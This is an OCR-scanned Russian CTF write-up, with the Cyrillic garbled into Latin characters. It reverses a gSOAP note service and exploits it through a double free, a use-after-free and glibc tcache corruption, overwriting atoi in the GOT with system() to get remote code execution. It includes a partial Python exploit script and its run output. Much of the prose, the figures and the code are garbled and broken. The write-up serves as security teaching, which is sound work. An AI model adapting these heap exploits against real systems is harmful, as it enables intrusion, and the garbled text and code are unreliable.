Unbolting the Compiler's Lid. OcobeHHo MHe HpasuTcA npumep
(https://Iwww.youtube.com/watch?v=bSkpMdDe4g4&t=2710s), B KOTOPOM KOMMUNATOP
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ONTUMU3MPYET (PYHKUMIO OANS noacyeTa CyMMbl aneMeHToB maccueBa [1, 2, 3 ... NJ.
PaspaboTtunk genaet 310 Yepe3 UMKN for, HO KOMMUNATOP OKasblBaeTCca yMHee paspabort-
Yyuka U ucnonbayet opMyny nogcyeTa CyMMbl apuchMeTMHEeCKOn Nporpeccum N (N+1) /2.
Y MaTTa Tbl Takke MOXeLub y3HaTb Npo MHCTpymeHT Compiler Explorer (https://godbolt.org/).

Jagaii mpocTo B JUHAMHKE MOCMOTPHUM, YTO 32 YETHIPE apryMeHTa KJIAAyTCs Ha CTeK.
BpsikaeMcs Ha HHCTPYKLHUH call executeCommand Mo agpecy 0x403CE4 (puc. 11.16).

=1 NG ragitt—— — e
LEGEND RUiX RODATA
00:6000 | re — 0%x414141914141

8100668 Gx 1060
g2:08106 «— Qx424242424242

893:0818

Puc. 11.16. YcranHaBnueaem 6peink Ha nHcTpykumn call executeCommand

MNPUMEYAHUE

3T0 CKpUH M3 NnarmHa pwbdbg. OBpaTt BHMMaHue, 4To pwndbg CaM pa3bIMEHOBLIBAET CTEK,
4YTO HEBEpOATHO yAo6Ho. Takke B HEM eCTb MHOTO NOME3HbIX MNarvHOB, OOWH U3 KOTOPbIX
Mbl MCNOSIb3yeM NO3XKe.

3nakoMble gaHHble? Ha creke JeXUT CTpyKTypa PARSE RESULT, a B rdi — yKa3aTesb Ha
3aHyJIeHHbIH MaccuB AauHOM OxFO. To ecThb OMTHMH3AIMA 3aK/II0OYAETCA B TOM, 4TO 4e-
ThIpPE KbIO-BOpAA CTPYKTYPhl PARSE RESULT KJIAAyTCS Ha CTEK, & U3 PETUCTPOB UCIOJIb3Y-
€Tcs TONbKO rdi. JlaBail mepeHeceM 3To 3HaHUE B «May», onpenenuB coriaiieHue BbI30-
Ba COOCTBEHHOPYYHO. B 1eKOMIHUIEHHOM JTHCTHHTE YCTAHOBUM THI QYHKIHH.

13330 (oH

__int64 _ fastcall executeCommand(_ int64 al, int a2, int a3, int a4, int a5,
int a6, char *command, _ int64 a8, _ int64 a9)

Crano:

__int64  usercall executeCommand@<rax>(PARSE RESULT pr, void *pArray FO0@<rdi>)

U mobyeMcss NEKOMIMICHHBIM JIUCTHHIOM executeCommand() KaK HCXOJHBIM KOIOM
(puc. 11.17).

lk_intsh _usercall excuteCommand@<rax>(PARSE_RESULT pr, void »pArray_roa<rdis)

21

| if ( tstrcomp{or.pzStrl, “"new®) ) // PARSE_RESULT.pzStrl - 370 WmR XOMawgsl
newNote{pArray_F®, pr.numl, pr.pzStr2);

| if ( tstremp{or.pzStrl, “edit™) )

| editNote(pArray_F@, sr.numl, pr.pzStr2);

‘ if ( tstrcmp(pr.pzStri, *delete”) )

|

L

oG

deleteNote{pArray_F@, pr.numl);
return OLL;

O e

Puc. 11.17. [lekoMnuneHHbin nMcTuHr executeCommand ()

Cpa3y CTaHOBMTCA MOHATHO, KAKHE MOJIA CTPYKTYPbl PARSE RESULT HCIIOJB3YIOTCSA KOH-
KpETHbIMH (GYHKLHSAMH, & TAKXKE, YTO PARSE RESULT.pzStrl — 3TO UMS KOMaHbl (TaM,
rIe y Hac "ARAAAA").
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EJII/IHCTBGHHOC, 4YTO HaM OCTaJIOCh BBIACHHTb, — 4YTO 3TO 33 MAacCHB JIHHOH 0xF0. OH
HHTCPECECH TCEM, UYTO IMEpEHacTCd B KaXAYH0 H3 (I)yHKIIHﬁ newNote (), editNote(),
deleteNote () BMECTE C PARSE RESULT. Pa3 YK €ro aJjaMHa — 0xF0, TO Ha3bIBaTh €ro MbI
6y11eM foo, XOTh ceiuac Mbl CHIIHHUKH, @ HC ITMTOHUCTBHI.

Ha nepemnyThe Tpex mopor BIOHpaeM caMylo NPOCTYI0 — deleteNote.

deleteNote

[TocMOTpUM Ha MaJeHbKHI U NPUATHBIA AEKOMITUN deleteNote (puc. 11.18).

r__intsl. __fastcall deleteNote(void xarray_f@, __int64 num2)
if ((num2 2 @ 66 num2 < 9 8 *((_QWORD *)array_Fo + num2) )
if { »(_QWORD #)(*((_QWORD =)array_f@ + aum2) + 16LL) )

free(*(void »+)(#((_QWORD =)array_f0 « num2) « 16LL));
free(«((void »x)array_f0 + num2));

return OLL;

QOOVWONEOWU S WN PR
-

[y

Puc. 11.18. deleteNote

B CTpPOKE 3 Mbl BHIHUM, 4YTO foo — 3TO MAaCCHB yKazaTeneﬁ, a num2 — HHIACKC 3TOro Mac-
CHBa, HHACKC IIPHHUMACT 3HAYCHHUS OT 0 10 9 BKIIOYHTEIBHO.

B cTpoke 5 mpoucxoquT pa3sIMEHOBBIBAaHHE yKa3aTels U NMpOBEpSeTCs, HE paBeH JIM HY-
mo QWORD no oddceery +16 (0ymeM HazbIBaTh 3Ty 00J1aCTh MaMATH bar). Eciii HeT, TO
NPOMCXOAUT BBI30OB free () U Jaiblie Oe3yCIOBHBIH BBI30B free () Ha yKa3aTeslb IO HH-
Jekcy num2. [laBaii s mokaxcy cxeMy (TEMHBIM 3aJIUTHl JaHHbIE, KOTOPble Mbl KOHTPOJIH-
pyem u3 XML, ceppiM — To, uTO nepenaercs Bo free()) (puc. 11.19).

WE CALL IT FOO
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Puc. 11.19. Cxema nepeaayu AaHHbIX BHYTPU NPUNOKEHUA
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Korna Buauip free() B CHIIHOM KOJe€, HY>KHO 00pamiaTh BHUMaHHE Ha TO, YTO IPOMC-
XOIHUT ¢ 0CBOOOXIEHHBIM yKa3aTeneM aanbiue. Kak Buauib, B JaHHOM Clly4ae — HHUYe-
o, a 0-XOpollleMy €ro Haao 3aHyauTb. HUUTO He MellaeT HaM BBI3BaTh deleteNote ()
JIBa pa3a C OHUM U TeM K€ HHAEKCOM. JTO JaeT HaM NEepBBIii IPUMHUTHB — double free.

editNote

B editNote () koza y»xe Ooublie, HO M MBI YXKe Koe-4To 3HaeM o «dybape» (puc. 11.20).

R E — — - -
1l _int6a __fastcall editNote[ARRAY _F® #array_F@, __int64 index, char ~pz5tr2)
5

. - 'S -
3 i
L] ol -
£
¥
8|
9
19| .
11
12| #ma - AR L e
13| if { index 2 B 56 index € 9 )
14| {
15
16
17
18 A
19
29|
21 — y
22 v3 = #(_QWORD »)array_f9-relemf{ingex];
23 if ( ¥3 2 std::  cxxll:basic_stringechar,std::char_traitscchar>,std::allocatorccharso :: length(str2 deceded)
24 []
25 s
26|
27
28 = "
29 lumcpy(n((vmd #a)array_r@-detemlincex] » 2}, pStr2_deceded, str2 decoded_len); I
38
31 }
32 [ W PR A e RS e
33
34f return OLL;
WSS TR Tee g S Sy S e
35l = =5
Puc. 11.20. MbI yxe koe-4To 3Haem o «dybape»
WE ARE NOT CALL IT FOO ANYMORE
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Puc. 11.21. Maccwus ykasatenewn Ha cTpyktypy NOTE ENTRY
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IIpoBepka Ha TO, 4TO MHAEKC JeXHUT B Auana3zoHe 0 mo 9. Takoe MBI yxe BHAENH B
deleteNote (). M3 bar noctaeM nepBbiii QWORD 1 cpaBHHBaeM ero ¢ [UIMHOH Hallel
ctpoku u3 XML, npeaBapurensHo qexkoaupoBaB ee u3 Base64.

Ecnn 3tor QWORD 6onbliie JIHHBI CTPOKH, KOIUPYEM CTPOKY B bar. JIorH4Has npo-
Bepka Ha nepenonHeHHe Oydepa. BelpHcoBbIBaeTCS cxemMa XpaHEHHS HALIMX 3aMETOK.
BepHeM «pyOaps» NUTOHHCTAM H JaJUM BMEHSEMBbIE Ha3BaHHs, CBI3aHHBIE C 3aIIHCKAMH.
Tak, foo — 3TO MacCcHB yka3aTtenei Ha CTPYKTypY HOYTOB NOTE_ENTRY B bar (puc. 11.21).

newNote

OcrTanocw NOHATH, YTO JIEKHUT MO oddceram NOTE ENTRY +8, +24, +32 u manpue. OTBe-
THM M Ha 3TH Bonpocs! (puc. 11.22)!

|_int64 __fastcall newNote({ARRAY__F@ xpArray_F@, size_t size, char »pzStr2)

14| far ( FrectlemIndexr = 0; freeflenindex € 9 5 pArray Fe-velem{ freeflenindex]; ++frestlemingex )
]
16| if ( freeklemindex # 10 )
{
18 pArray_F@-»elem{freetlenindex] = malloc{24uLl);

L

22 E =3

24 *(_(QWORD »)ppArray_Fd-delem] frecktemindex] = size;

2% ¥3 = (LLEMENT #*)phrray_fo-—delem{freeflemindexl;
26 v3-3pStr = (char a)malloc{size);
5 . ANy R R

bo ) i

330}
24| return @LL;

Puc. 11.22. Cogepxumoe odpcetos NOTE_ENTRY +8, +24, +32

Oddcersr +24 u panelie oTOpackiBaeM cpasy, MOTOMY YTO MOJ CTPYKTYpPY BBIAEISAETCS
24 Gaiita, 3Ha4ynT, nocaeanui 3Hagaumid QWORD nexut no opdceery +16.

ITo oddcety +8 3anuceIBaeTCA YUCIO, KOTOPOE B NMPEABIAYIUNX (QYHKLHAX HHTEPHIPETH-
POBaoOCh KaK MHAEKC, a 3aT€M 3TO YHCJO NepeaaeTcs B malloc () M BO3BpAlLEHHbIH yKa-
3aTeNb 3aIHCHIBAETCS B pText. B KOHTEKCTE newNote () 3TO yXKe HE HHAEKC, a size HOYTA.

Hanbuie B pText konupyercs crpoka u3 XML (aexoanpoBanHas u3 Base64), a konuyecT-
BO CKOIIMPOBaHHBIX OaHTOB B memcpy () 3aJaeTcs AJHHOM 3TOH CTpOKH. Pasmeps! Bbiae-
neHHoro Oycdepa 1 pa3Mep CKONMPOBaHHBIX JaHHBIX MOTYT He coBnaath. Ha-ha, classic.
BanunbHeii buffer overflow. B Hawem ciydae Ha xune (puc. 11.23).
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Puc. 11.23. Buffer overflow

OTaenbHO 06pamy TBO€ BHMMAHHE Ha TO, YTO MBI KOHTPOJHUPYEM ApryMEHT size A
malloc (). TO AAET BO3MOKHOCTD BbI6PIpaTI> CTpAaTEeTUIO aJUIOKallUH NaMATH glibc.

NMPUMEYAHHNE

Peanusauus malloc () B glibc nopaepxwusaer linked lists (oHu xe bins) ana 6nokos nams-
TW pa3Horo pa3mepa. NoBegeHue free () ANA 3TMX bins Toxe oTnuuaeTtcs. Mbl BOcnonbay-
emcsi 3TUM NPU HanNnUCaHUKM 3KkcnnouTa.

34 1f ( xminode )

36
37
38
39
49
41
42
43
7 pText
& =

46 if ( tstremp(parse result.p2Stri, “show”) )
4%
48 if ( parse resuylt.note_index € 9ulL &8 +((_QWORD #)s + parsd result.notelindex) )
59 {
56 S s i
51 baseba_encode{abi:cxx11i{
&2 v1i6, .

52 «(_QWORE = )(x((_QWORD »)s « parse_result.note_index) »_16LL),

54 | (unngned 1nt)w( QWORD «)(+((_QWORD 2)s + parse_result.note_index)
- N — = = —

88 = P RS T A e e e e
56 ) ¥ ' [ 3 i
57 ’
58 11
5% I
58 else
1
&2 . excuteComand(parse_result, s);
17 }

88 }

86 }

67 ]

RS S

Puc. 11.24. show. gsoapNote
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show

B executeCommand()3al’Ip}‘{TaJ'IaCB €lI€ OJHAa KOMaHIOa — show. gsoapNote JAa€T HaM BO3-
MOX>XHOCTh CO3JaBaTh, YAAJIATh U pECAAKTHPOBATH 3aMCTKH, KaK XK€ 0e3 KOMaH/bl npo-
cMortpa (puc. 11.24)?

VyuteiBas TO, YTO HaM Y>X€ U3BECTHBI BCE II0JII NOTE ENTRY, 6e3 TpyAa IIOHUMAEM, 4YTO
31€Ch NMPOUCXOOUT: 3aME€TKa 10 HHACKCY KOQUPYETCS B Base64 u BO3BpalIa€TCA I10JIB30-
BaTCIIIO. HOCKOJIBKy II0CJIC YIOaJICHHUS deleteNote () YKa3aTejab HC 3aHYJIICTCA, 30E€Ch OT-
KPBbIBA€TCA BO3SMOXXHOCTB JJIA USE after free: MoXxHO MPOYHUTATh NMaMATH IOCJIC free ().

UTormn peBepca

HpOBepHM, YTO MBI IOHAJIIM KOMAaHABI NMMPABUJIBHO: CO34aAUM HOYT AAAAAA, OTPEAAKTHPY-
€M €ro, YTOOBI TMOJIYYHJIOCHh BBB, IIOKAaXXEM H YJaJIUM.

TR NONGTECORRANG SoRPAnY 1 enCOCINGRLy | &m TULR !/ 7ECERaS, XHLSORD . 8Tar 5080/ Encoding/ Ml S (s 1o AOOAP BN EnvELOPE SRins SOAP ENVE NTip: I /SchEnas 2aLoons Bra/aoun envelones" sains som o]
«consandXal 151 pam x5d ST ring” s <SOAP-ENV: Header/ »
omnandSeqr <SOAP-ENV:Body SOAF-ENY: encodingtyles"hitp: //schesns valsoap. org/suas/encoding/ s
: ns :handl eConandResponses
«numbe r=3</nusbers result>
il estring> KomaHpaa new I e oo
<contunt snewascontent> | «rSomp-eNv:Body»
</simpleString> | L <7 S04P-ENV: Envel,
Hhrusioe CO3/aeT HOYT fegp
euntent>dopRc/cantents
s “ "
hulkstrings AAAAAA < > < > /
string S msg>QkiC</msg><resultCode>0</resultCode>
«numbe r=8</nusbers
 «/buitkStrings
p_#eg— .
EEaei Komaxaa edit
<s1apleSt ring>
“captEnt ~edit</cantemy
<aislestring peaarTupyer "BBB”
wartegers
<content»Ge/cantents
aagers pText. Tenepw
<bilkString> et ’ ¥
<content. JC<fcantents
Ty o Tam "BBB
e/bulkString>
R ST Komanga show
~s1mplesString>
scontent>shows/content
<rrioplestrinte 1 noKasbisaeT
«integer» 1
i 5 |
Pl i HOYT 1O MHAEK
/2T ray s 1
by 2/ NUdEr:
e s Komaxga deletd | |
acontent »deletac/content > H
=/gampleSteings
B yvaanaet Hoyt W |
«content »B</cantent > 1
i |
7. N0 UHOEKCY , |
</ coxpi
«ZcommandXul> 1 |
#/urn;: handleCanaand» i

Puc. 11.25. Ntoru pesepca

OTIMYHO, Bce paboTaeT, kak oxuaaercs (puc. 11.25).

AHanusnpyem npuMUTUBGI

lIaBaf/i pa36epeM HMCIOLIHECA MIPUMHUTHBBI K ITIOAYMAEM, KaK 3TO MOXXHO 3KCIIJTyaTHpPOBATh.

UAF (show nocne delete)

Takas mociaenoBaTeTPHOCTh KOMAH MI03BOJISET MOMYYHTh NPUMHTUB YTEUKH MaMSTH AJIs
obxoma ASLR. Bonee nmoapoOHO OH omucaH B KJacCHOM pa3bope https://xakep.ru/
2020/05/18/ctf-useless-crap/#toc0S — npyroit CTF Ha «Xakepe».
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OOBsCHIO BKpaTIIE:
O uyepe3 KOMaHAY new CO3JaeM YaHK OOJIBILIOrO pa3Mepa;

O yepe3 KOMaHIy delete OCBOOOXKHAEM €ro TaM, IJ€ paHbUIE ObLI TEKCT 3aMETKH,
free () 3aIHIIET YKa3aTe/Ib HA glibc;

O 4epe3 show YATAaEM 3TOT yKa3aTelb.
Haxnnaem POC B SOAPUI (puc. 11.26).

b B0 M b

o i e S
Soapeny: Envelope LR iain SOAP BN htip) 7/ schemas. sl 508, OF Tape/* cainsSoA)
| asompeny:header/>

htts://achanss . xalnosp . arg/scan/encoding/ s

FLP) A8L 311 c3VSdENY 2GUe of result

<suapeny:Body>
arn:handl eComnand suopeny’ encodingStyles"hrtp: /rschesas. xaleoss. org/s0ansencoding/*> Ml
ccommandXel s31:typeksd’Steing*s g |

[orray=
«nusber>3</numbers
«saesletrings

content >newe/content >
wri rings . A
qfn:‘;‘;ﬂ“ % L5 7aM HOYT £ GO/ibHINA B22sepom | H A i
weonte ERBEY content » i (n7iii746e2¢0
<santemer>

] <blkString»

acontent ~OUFBLIB/camtent

roBe/nunbers

<¢bulkStrangs

YKaszaTesb Ha obnactb
namaTtu libc

~usler>2cinusbers £ 1
" bl i) S YRanaem a1ei Hoyy
“conteatsdeletev/contents
«/siapleString>
(= «integers
“content YOw content»
</integers
<array>

Tewabers2a/numbers  IHIAEM NAMATH B0

= «singtestring "
; ot aheicoRREORRG
«/s3mpl €St rangs yaazavesen, (ranfs UAF
=4 <integer>
3 <comtent 2D/ cant ents
T
e o
<fcommandnat>

</orn:handl eCosunnd>
</soupany:Bodyy

Puc. 11.26. POC B SOAPUI

ELIXIR CROSS REFERENCER

Ons u3yyeHus koaa glibc coseTyro ucnonb3osaTtb pecypc https:/lelixir.bootlin.com/. 310
kak IDE B 6paysepe. Tam xe Tbl MOXelUb BbIGpaTh UcxoaHuku noboi Bepcun Gubnuo-
Tekn. Bot, Hanpumep, Mecto (https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/
malloc.c#L4319), koraa Bo BpeMs UCMNONHEHUA free () 3anUCbIBAETCSs ykasaTenb Ha glibc
unsorted bin (puc. 11.27).

/‘“
Place the chunk in unsorted chunk List. Chunks are
not ploced into reguiar bins until after they have
been given one chance to be used in malloc.

Vi

bck = unserted_chunks(av);

fud = bck->fd;

if {__glibc_unlikely (fwd->bk 1= bck))

terr ("free(): corrupted unsorted chunks™);

Puc. 11.27. 3anucs ykasatens Ha gl ibc unsorted bin

Heap overflow

B nHameM ciydae crutoututs heap overflow He Tak-To npocto. EcTh ogH MOMeHT, KOTO-
pBI s CO3HATENBHO YMYCTHI B pa3aene «PeBepc-MHXHHUPHHI», — Kaxabsli XML-
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3alpocC CO3Jac€T B XHIIE HOBBIH MacCHB pNOTE _ENTRY[], 3TO 3HA4YHUT, YTO €CJIH B IIEPBOM
XML MbI co3gagum 3aMETKY, TO OHA 6yneT HEOOCTYIIHA U3 BTOPOI'oO 3ampoca.

Hanpumep, sxcrutour texHuku House of Force tpebyer agpec rinobanbHOH CTPYKTYph
top_chunk, H, 3Hasl €ro, Mbl BBIYHUCIIAEM size U malloc (), 4TO TpUrrepHer int ovferflow
B malloc () (https:/elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L.2736),
U GYHKUHMS BEPHET KOHTPOIHMPYEMBbIi HaMH ykasatenb. [IpeaBapurenbHo uepe3 heap
overflow nepesanuceiBaeTcs mone top chunk.size (https://elixir.bootlin.com/glibc/
glibc-2.27/source/malloc/malloc.c#1.2733), 4ToOBI BBIOJIHEHHE KOoJa AOLUIO A0 int
overflow.

Honyctum, kak-To nepBbIM XML-3anpocoM MBI JIMHKAHEM aipec XHIla, BHIYUCIHM HYX-
HOE 3HaueHHUe size U oTnpaBUM BTOpoH XML-3anpoc. CkonbKko-TO pa3 malloc () BBI3O-
BeTCA BO BpeMsa o00paborku 3ampoca SOAP, moToM eme malloc() IJIS MacCHBa
pNOTE_ENTRY [], ¥ B MOMEHT 3KCIIIyaTallul BEIYHCIIEHHOE 3HAUE€HHE CTAHET HEBAIHIHBIM,
a mpenckasarb ero  Hempocto. IlompobGHee  MoXKellb — MPOYMTATh  3HECH!
https://guyinatuxedo.github.io/41-house_of_force/house force_ exp/index.html. Ort-
JIOXXHMM 3TOT IPUMHUTHUB H OyeM HCKaTh JaJbLIE.

HeoueBuanbin UAF u tcachebins
Tcache mo6GaBuny B glibc 2.26 A YyCKOPEHHUs paboThl malloc (). YTo HeoOxonumo mo-
HHMaTh!

O i kaxaoro Tpena glibc BhIOENSAET HECKOIbKO onHOCBA3HBIX linked list nys GnokoB
pasHoro pa3Mepa (oHH ke tcachebins);

O free() moOaBiseT 0CBOOOXKIEHHBIH YKa3aTeilb B HA4YaJI0 CITUCKA,
O malloc() OOCTAET YKa3aTe€ilb U3 Hadajla CITUCKaA.

[IpeanonoxxuM, YTO HayanbHbIE YCIIOBHA ciexyrouue: tcache list mycToit, MBI co3manu
HOYT C size, paBHbIM 0x17 (puc. 11.28).

pNOTE_ENTRY_O

texiLen 0x17 pText_O

+0 +8 +16

Puc. 11.28. Hoyt c size
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A Teneps BbI30BEM KOMaHIy delete. OcBoOOAATCS Ba yKa3arens, KOTOpble 100aBsATCS B
tcache linked list (puc. 11.29).

HoyT octancsi pegakrupyembiM. bl MoxeM
koppantuTb linked list tcache

pMext 0x47 {small size}

0 +g +16

HEAD cache smak bin

Puc. 11.29. OcBo6oxaatotcs ABa ykasartens

[ToMHHILIB NPOBEPKY B editNote () HA TO, YTO [UIHHA HOBOTO note JOJDKHA OBITH MEHbLIE
textLen OpurHHanbHOro? Temeps Ha MecTe textLen HaXOAMTCSA yKa3aTelb Ha 00JacTh
NaMsTH, 3HAYEHHE YKa3aTels TOYHO OyaeT 6oJblie JJIHHBI HOBOH 3aMETKH.

Takum 06pa3oM, y Hac COXpaHSETCs BO3MOXHOCTb PEJAaKTHPOBATh MOCIEIHHH 3TE€MEHT
linked list yepe3 edit.

[Tocne penakTHpoBaHHUs glibc OymeT mymartb, 4to tcache linked list cocTouT M3 Tpex
pnemeHToB. COOTBETCTBEHHO, TPETHH malloc () BEPHET KOHTPOIMPYEMbIH HaMH yKka3a-
Tenb. Obs3aTensHOE YCIOBHE — size BCEX TPeX malloc() JOMKHBI COOTBETCTBOBATh
tcache small bin.

MBI NOACTPONM Tak, YTO TPETUH malloc () BBI3OBETCS B KOMAH/E new, a CIEAYIOLIMM BbI-
30BOM OyZ€eT memcpy () HAIIMX AaHHBIX. Tak MbI MOTy4YuM MolHeHni RW-npumMuTHs.

OO6patyi BHMMaHHe Ha BaXKHBIH (pakTop — 3HaueHHe size. CMOTPH, YTO OYAET, €CIH size
craHer, Hanpumep, 0x20. Toraa yka3zaTens textLen 3aHyautcs (puc. 11.30).

Mpsr notepsiin Bo3MokHOCTE UAF KOMaHIBI edit: HOMb Bceraa OyleT MEHBIUIE JJTHHBI
HOBOM 3aMeTKH. Jlaxke eclIM Jajblle B KOJ€E BBI3OBETCS free (), HOBBIH 3JIEMEHT J0OaBUT-
Csl B HayaJlo crucka. B Hy»<HOM HaMm moJie Bceraa OyaeT HoJb.

Haxunnaem POC B SOAPUI (puc. 11.31).

lPUMEYAHNE

3pechb Tbl BUOMWDL BbIBOA BCTPOEHHOrO B pwndbg NNarMHa tcachebins, KOTOPbLIN HArNsAgHO
nokasbiBaert, 4Yto nexut B linked list. Tarke, ecnu He xo4ewb U3y4aTb tcache B UCXOOQHOM
Koge glibc, MOXewb u3y4ntb nNuUTOHOBCKMI koa nnarvHa (https://github.com/pwndbg/
pwndbg/blob/dev/pwndbg/heap/ptmalloc.py).
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NULL wa mecrte textl.en He pact
penakTMpPoBaTs HOYT KoMaraow edit

0x20 (large size) %%%

+0 +8 #

Puc. 11.30. size = 0x20

intvme T
5 hilie e [CO303EM M YA RAREM HOYT oty
e
o T loKa Huuero Hosoro Jo edit 8 linked list 483 anemenra
A Uity
(24 wumd tring
Frice A RRE
</nimptedtring:
% o ot mx I ontent >
@ e Nocne edit 8 linked list Tou aemenT.
P I - 4
i e [KOMaHA0I4 edit koppanTim linked list.
¥ Someimes  |B K3YECTBE YKA3ATENA HA NOC/EA 3NEeMEHT
¥ M emmee [BLIGPAN paHAOMbIR RW aapec 0x7ffff746d000
o
T 1
- T~ B
e | 3TOT New ¢ paamepom 1024 HyskeH ANs Toro YTobbl
L 5=
AR P 1 :
. D fI0AROPPEKTMPOBaTH linked list
I

| !
Mocne koppexTuposku Tpetun malloc() POC paboraer!
gepHeT Ox7ffff746d000 n Mot 3anuitem Tyaa _

| 6awiTe "CCCCCC”
dll |

Puc. 11.31. POC 8 SOAPUI

IIJISI leOﬁCTBa OTJIaAKH A 3aJ1O0THPOBAJl BbI3OBbI malloc () B newNote(). CMOTpPI, KaKHue
ajpeca BO3BpallaeT NOKOppanyeHHbIH glibe:

New note - malloc size 0x18, addr 0x650390

New note - malloc size 0x400, addr Ox64accO

New note - malloc size 0x18, addr 0x650030

New note - malloc size 0x8, addr O0x7ffff746d000 <--~ Ampec, KOTOPEDT Mul 3amajiM B
edit

HMeeM pyxbe, KOTOpOe CTpelseT BOCeEMbIo OaliTaMH Mo KOHTponHpyemoMy aapecy! Ky-
J1a CTpensTh?
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CobGupaem akcnnouT

Koraa s nyman o ToM, Kak MCIONb30BaTh 3TH NMPHUMHTHUBHI, S MBICIUI AOBOJBHO NpPH-
MHUTHBHO. Hy MoxeM MBI mHcaTh BoceMb OaHT 1o mpou3BOJIBHOMY aapecy... Hago me-
PEXBaTHTh yIpaBieHHe... MOXHO IepenucaTh yka3arellb Ha KaKylo-HHOyIns (yHKIHIO,
ROP-ramxeramu cHate NX Xuma, 3amucaTh TyAa WELI-KOJ,... JlyMaro, ThI IIOHSII.

Hanbme s HaTkHyncs Ha kutaiickuit paiitan stoit xke CTF (https:/blog.csdn.net/
Breeze_CAT/article/details/103788971), He ynmep>aiicss ¥ MOCMOTpEN, KaK 3TO CAENAHO
TaM. W 3TOT 3KCIUIOMT MOKAa3aJCsi MHE HACTONBKO H3SIIHBIM, YTO JAJNbllEe S MPHBEXY
HMEHHO €ro.

ITpobnema B TOM, 4YTO, KOTJa 1 pacCy’kaan npo 3KCIUIOHT, s aOCONIOTHO NPOHUTHOPHPOBAI
TOT (hakT, yTo OMHApH paboTaeT Aanblle 4O YETBEPTOro malloc (). A TeM BpemeHeM XML
npoaoikaeT 00pabaThIBaThCA M BBI3BIBATh QYHKLHH glibc!

Bropoit HemanoBaxHsI# pakt — orcyrcTBHe RELRO B 61Hape. IT0 3HaYHT, YTO MOXKHO
CTPENATh B CEKLHIO .got.plt. eanbHoii nenbo Oyaer atoi (), OCKONbKY B KayecTBe
*BXOJHOrO apryMeHTa (QyHKLHSA NMPHHMMAET CTPOKY, TAKOH JXK€ apryMEHT MpPHHHMAaeT
system().

IMeitnoan nocraensercs cnenyromed XML-HOOOH <array>, KOTOpas IOCH€ Nepe3anHcu
.got.plt BBI30BET system() C KOHTPOJIHPYEMOH HaMH cTpokoi (puc. 11.32).

<array> 5 Ol
<!-- BoinoAHUTER KOO, 31 if ( tstremp(curiniNedeSnane, “rumber”) )
<SImplestring> €5
<contentdelete</content> B parseArray() -=> 33 notr = (char +)xmiNodeGetContent{ curxmiNode);
</simpleString> 34, vs = atoilmptr); —b_ 5
<integer> 28 } SYStem(nptr)l
<content>DOESN'T MATTER</content>
</integer>
</array>

Puc. 11.32. MNennoaa

Hrak, B puHanbHOM 3KcIuionte Mbl 00beanHUM aBa PoC. TakuMm oOpa3oM, HaM HYXHO
mocnath ABa XML-cooOmenus. 3agaya mepBoro — CIHTh agpec glibc. 3Has agpec
glibc, MOXHO BHIYHCIHTD VA-(QYHKIHH system(). AJpec ykasaTens Ha atoi() B CEKIIHH
.got.plt OMHaps H3BECTEH 3apaHee (B CAaMOM Hayale CTaThbH # MOKa3all, YTO gsoapNote
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cobpan 6e3 ASLR). BropeiM coobiiennem ucmnonbldyeM RW-npumMuTuB, 4ToObl nepesa-
MHCATh atoi () HA system() W 3aIlyCTHTh NEHI0AN.

3anyckaem 3KCnsouT

JaBaif mocMOTpHM, YTO y HaC MOJYYHIOCH!

user@ubuntu$ python3 exploit.py

[+] Stage I. Craft xml to leak libc address

[+] libc address is 0x7£5078132000

&nbsp;

[+] Stage II. Calculate required addresess and trigger RCE
[+] system address is 0x7£50781814e0

[+] atoi .got.plt address is 0x6372b8

[+] trigger RCE

U noareepxnaem RCE Ha cepsepe:

user@ubuntu:gsoapnote$ sudo ps aux --forest

\_ ./gsoapNote
\_ sleep 999 # Meimoan oTpatoTasn

BbiBOAbI

Mel pa3oOpany HENPOCTYH 3aa4Ky, H3YYHIH PEaTH3aLHI0 XUII-MEHEIKMEHTa glibc H
MONMPAaKTHKOBAIKUCH B UCIIOJIH30BaHHH HECKOIBKHX MOJIE3HBIX HHCTPYMEHTOB.

B kauectBe JOIIOJTHUTECIBHOT'O 3aJaHHU MOXCIIIb HOHpO6OBaTB HanmucaTb 3KCIUIOHUT YEPE3
npuMHTHB heap overflow.

Kon sxcninounta yepes UAF npuBeneH HUxe.

import base64
import socket
import re

import struct

def soap_message(array) :
return £"""

<soapenv:Envelope xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:note">

<soapenv:Header/>
<soapenv:Body>

<urn:handleCommand
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<commandXml xsi:type="xsd:string">
<commandSeq>
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{"".join (array) }
</commandSeq>
</commandXml>
</urn:handleCommand>
</soapenv:Body>
</soapenv:Envelope>

LLRLRL

def new _note(content, size=None):
contentBase64 = base64.b6dencode (content)
if not size:
size = len (content)
return f"""
<array>
<number>3</number>
<simpleString>
<content>new</content>
</simpleString>
<integer>
<content>{size}</content>
</integer>

<bulkString>
<content>{contentBaseb64.decode () }</content>
<number>{len (contentBase64) }</number>
</bulkString>
</array>

LLRIR1]

def edit_note(content, note_index):
contentBase64 = base64.b64encode (content)
return f"""
<array>
<number>3</number>
<simpleString>
<content>edit</content>
</simpleString>
<integer>
<content>{note_index:d}</content>
</integer>
<bulkString>
<content>{contentBase64.decode () }</content>
<number>{len (contentBase64) }</number>
</bulkString>
</array>

mn
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def show note (note_index):
return f"""
<array>

<number>2</number>

<simpleString>
<content>show</content>

</simpleString>

<integer>
<content>(note_index:d}</content>

</integer>

</array>
mme

def delete note(note index):
return f"""
<array>
<number>2</number>
<simpleString>
<content>delete</content>
</simpleString>
<integer>
<content>{note_index:d}</content>
</integer>
</array>

def payload(system command) :
return f£"""
<array>
<number>{system_command}</number>
</array>

(LRLR1]

def send to gsoapnote (command_array) :
msg = soap message (command_array)

sock = socket.socket (socket.AF INET,socket.SOCK STREAM)
sock.connect ( ('localhost', 33263))
sock.send (bytes (msg, 'ascii'))

response = sock.recv (1024) .decode ()
sock.close ()

ELye
result = re.findall (r" (?<=<result>).* (?=</result>)", response,
flags=re.IGNORECASE) [0]
result = baseb64.bbddecode (result)



O0— 163 —0O0

print (result)
except:
pass

try:
result = re.findall (r" (?<=<msg>) .* (?=</msg>)", result.decode(),
flags=re.IGNORECASE) [0]

result = base64.b64decode (result)
except:

pass
return result

def libc_leak():
free and show = (
new_note(b'E'*8, 1281),
delete note(0),
show_note (0)
)
